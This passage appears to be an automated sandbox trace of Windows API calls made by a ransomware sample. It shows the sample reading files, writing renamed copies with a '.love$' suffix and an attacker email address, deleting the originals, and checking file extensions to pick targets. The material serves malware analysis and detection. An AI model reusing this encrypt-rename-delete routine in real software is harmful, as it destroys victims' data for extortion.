lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0xdda, lpOverlapped=0x0) returned 1 [0101.159] WriteFile (in: hFile=0x2c8, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xde0, lpOverlapped=0x0) returned 1 [0101.161] ReadFile (in: hFile=0x318, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.161] WriteFile (in: hFile=0x2c8, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xe4, lpOverlapped=0x0) returned 1 [0101.161] SetEndOfFile (hFile=0x2c8) returned 1 [0101.161] CloseHandle (hObject=0x2c8) returned 1 [0101.162] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.162] SetEndOfFile (hFile=0x318) returned 1 [0101.163] CloseHandle (hObject=0x318) returned 1 [0101.163] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0101.164] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1 [0101.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0101.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0101.164] lstrlenW (lpString=".doc") returned 4 [0101.164] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0101.164] lstrlenW (lpString=".docx") returned 5 [0101.164] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0101.164] lstrlenW (lpString=".pdf") returned 4 [0101.164] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0101.164] lstrlenW (lpString=".xls") returned 4 [0101.164] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0101.164] lstrlenW (lpString=".xlsx") returned 5 [0101.164] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0101.164] lstrlenW (lpString=".ppt") returned 4 [0101.164] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0101.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0101.165] lstrlenW (lpString=".zip") returned 4 [0101.165] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0101.165] lstrlenW (lpString=".rar") returned 4 [0101.165] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0101.165] lstrlenW (lpString=".bz2") returned 4 [0101.165] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0101.165] lstrlenW (lpString=".7z") returned 3 [0101.165] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0101.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0101.165] lstrlenW (lpString=".dbf") returned 4 [0101.165] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0101.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0101.165] lstrlenW (lpString=".1cd") returned 4 [0101.165] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0101.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0101.165] lstrlenW (lpString=".jpg") returned 4 [0101.165] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0101.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0101.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0101.165] lstrlenW (lpString=".doc") returned 4 [0101.165] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0101.165] lstrlenW (lpString=".docx") returned 5 [0101.165] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0101.165] lstrlenW (lpString=".pdf") returned 4 [0101.165] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0101.165] lstrlenW (lpString=".xls") returned 4 [0101.165] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0101.165] lstrlenW (lpString=".xlsx") returned 5 [0101.165] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0101.166] lstrlenW (lpString=".ppt") returned 4 [0101.166] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0101.166] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0101.166] lstrlenW (lpString=".zip") returned 4 [0101.166] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0101.166] lstrlenW (lpString=".rar") returned 4 [0101.166] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0101.166] lstrlenW (lpString=".bz2") returned 4 [0101.166] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0101.166] lstrlenW (lpString=".7z") returned 3 [0101.166] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0101.166] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0101.166] lstrlenW (lpString=".dbf") returned 4 [0101.166] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0101.166] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0101.166] lstrlenW (lpString=".1cd") returned 4 [0101.166] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0101.166] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0101.166] lstrlenW (lpString=".jpg") returned 4 [0101.166] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0101.166] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0101.166] lstrlenW (lpString="eula.rtf") returned 8 [0101.166] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0101.167] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=3046) returned 1 [0101.167] CloseHandle (hObject=0x318) returned 1 [0101.167] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80 [0101.167] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0101.167] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0101.167] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.167] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.167] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0101.168] GetLastError () returned 0x0 [0101.168] ReadFile (in: hFile=0x318, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0xbe6, lpOverlapped=0x0) returned 1 [0101.184] WriteFile (in: hFile=0x2c8, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xbf0, lpOverlapped=0x0) returned 1 [0101.185] ReadFile (in: hFile=0x318, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.185] WriteFile (in: hFile=0x2c8, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xe4, lpOverlapped=0x0) returned 1 [0101.185] SetEndOfFile (hFile=0x2c8) returned 1 [0101.185] CloseHandle (hObject=0x2c8) returned 1 [0101.188] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.188] SetEndOfFile (hFile=0x318) returned 1 [0101.189] CloseHandle (hObject=0x318) returned 1 [0101.189] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0101.189] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1 [0101.190] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0101.190] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0101.190] lstrlenW (lpString=".doc") returned 4 [0101.190] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0101.190] lstrlenW (lpString=".docx") returned 5 [0101.190] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0101.190] lstrlenW (lpString=".pdf") returned 4 [0101.190] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0101.190] lstrlenW (lpString=".xls") returned 4 [0101.190] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0101.190] lstrlenW (lpString=".xlsx") returned 5 [0101.190] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0101.190] lstrlenW (lpString=".ppt") returned 4 [0101.190] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0101.190] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0101.190] lstrlenW (lpString=".zip") returned 4 [0101.190] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0101.190] lstrlenW (lpString=".rar") returned 4 [0101.190] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0101.190] lstrlenW (lpString=".bz2") returned 4 [0101.190] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0101.190] lstrlenW (lpString=".7z") returned 3 [0101.190] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0101.190] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0101.191] lstrlenW (lpString=".dbf") returned 4 [0101.191] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0101.191] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0101.191] lstrlenW (lpString=".1cd") returned 4 [0101.191] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0101.191] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0101.191] lstrlenW (lpString=".jpg") returned 4 [0101.191] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0101.191] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0101.191] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0101.191] lstrlenW (lpString=".doc") returned 4 [0101.191] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0101.191] lstrlenW (lpString=".docx") returned 5 [0101.191] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0101.191] lstrlenW (lpString=".pdf") returned 4 [0101.191] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0101.191] lstrlenW (lpString=".xls") returned 4 [0101.191] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0101.191] lstrlenW (lpString=".xlsx") returned 5 [0101.191] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0101.191] lstrlenW (lpString=".ppt") returned 4 [0101.191] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0101.191] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0101.191] lstrlenW (lpString=".zip") returned 4 [0101.191] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0101.191] lstrlenW (lpString=".rar") returned 4 [0101.191] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0101.191] lstrlenW (lpString=".bz2") returned 4 [0101.192] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0101.192] lstrlenW (lpString=".7z") returned 3 [0101.192] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0101.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0101.192] lstrlenW (lpString=".dbf") returned 4 [0101.192] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0101.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0101.192] lstrlenW (lpString=".1cd") returned 4 [0101.192] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0101.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0101.192] lstrlenW (lpString=".jpg") returned 4 [0101.192] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0101.192] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0101.192] lstrlenW (lpString="eula.rtf") returned 8 [0101.192] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0101.193] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=4040) returned 1 [0101.193] CloseHandle (hObject=0x318) returned 1 [0101.193] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80 [0101.193] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0101.193] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0101.193] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.193] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.193] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0101.193] GetLastError () returned 0x0 [0101.193] ReadFile (in: hFile=0x318, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0xfc8, lpOverlapped=0x0) returned 1 [0101.196] WriteFile (in: hFile=0x2c8, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xfd0, lpOverlapped=0x0) returned 1 [0101.197] ReadFile (in: hFile=0x318, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.235] WriteFile (in: hFile=0x2c8, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xe4, lpOverlapped=0x0) returned 1 [0101.235] SetEndOfFile (hFile=0x2c8) returned 1 [0101.236] CloseHandle (hObject=0x2c8) returned 1 [0101.237] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.237] SetEndOfFile (hFile=0x318) returned 1 [0101.238] CloseHandle (hObject=0x318) returned 1 [0101.238] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0101.239] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1 [0101.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0101.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0101.239] lstrlenW (lpString=".doc") returned 4 [0101.239] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0101.239] lstrlenW (lpString=".docx") returned 5 [0101.239] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0101.239] lstrlenW (lpString=".pdf") returned 4 [0101.239] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0101.239] lstrlenW (lpString=".xls") returned 4 [0101.239] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0101.239] lstrlenW (lpString=".xlsx") returned 5 [0101.239] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0101.239] lstrlenW (lpString=".ppt") returned 4 [0101.239] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0101.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0101.240] lstrlenW (lpString=".zip") returned 4 [0101.240] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0101.240] lstrlenW (lpString=".rar") returned 4 [0101.240] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0101.240] lstrlenW (lpString=".bz2") returned 4 [0101.240] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0101.240] lstrlenW (lpString=".7z") returned 3 [0101.240] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0101.240] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0101.240] lstrlenW (lpString=".dbf") returned 4 [0101.240] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0101.240] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0101.240] lstrlenW (lpString=".1cd") returned 4 [0101.240] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0101.240] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0101.240] lstrlenW (lpString=".jpg") returned 4 [0101.240] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0101.240] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0101.240] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0101.240] lstrlenW (lpString=".doc") returned 4 [0101.240] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0101.240] lstrlenW (lpString=".docx") returned 5 [0101.240] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0101.240] lstrlenW (lpString=".pdf") returned 4 [0101.240] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0101.240] lstrlenW (lpString=".xls") returned 4 [0101.240] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0101.240] lstrlenW (lpString=".xlsx") returned 5 [0101.241] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0101.241] lstrlenW (lpString=".ppt") returned 4 [0101.241] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0101.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0101.241] lstrlenW (lpString=".zip") returned 4 [0101.241] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0101.241] lstrlenW (lpString=".rar") returned 4 [0101.241] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0101.241] lstrlenW (lpString=".bz2") returned 4 [0101.241] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0101.241] lstrlenW (lpString=".7z") returned 3 [0101.241] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0101.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0101.241] lstrlenW (lpString=".dbf") returned 4 [0101.241] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0101.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0101.241] lstrlenW (lpString=".1cd") returned 4 [0101.241] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0101.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0101.241] lstrlenW (lpString=".jpg") returned 4 [0101.587] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0101.587] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0101.587] lstrlenW (lpString="LocalizedData.xml") returned 17 [0101.587] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0102.990] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=80738) returned 1 [0103.013] CloseHandle (hObject=0x2c8) returned 1 [0103.013] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80 [0103.013] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.013] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0103.013] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.013] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.014] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.014] GetLastError () returned 0x0 [0103.014] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x13b62, lpOverlapped=0x0) returned 1 [0103.021] WriteFile (in: hFile=0x35c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x13b70, lpOverlapped=0x0) returned 1 [0103.024] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.024] WriteFile (in: hFile=0x35c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.024] SetEndOfFile (hFile=0x35c) returned 1 [0103.024] CloseHandle (hObject=0x35c) returned 1 [0103.028] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.028] SetEndOfFile (hFile=0x2c8) returned 1 [0103.029] CloseHandle (hObject=0x2c8) returned 1 [0103.029] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.030] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1 [0103.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.030] lstrlenW (lpString=".doc") returned 4 [0103.030] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.030] lstrlenW (lpString=".docx") returned 5 [0103.030] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.030] lstrlenW (lpString=".pdf") returned 4 [0103.030] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.030] lstrlenW (lpString=".xls") returned 4 [0103.030] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.030] lstrlenW (lpString=".xlsx") returned 5 [0103.030] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.030] lstrlenW (lpString=".ppt") returned 4 [0103.030] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.030] lstrlenW (lpString=".zip") returned 4 [0103.030] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.030] lstrlenW (lpString=".rar") returned 4 [0103.030] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.030] lstrlenW (lpString=".bz2") returned 4 [0103.030] lstrcmpiW 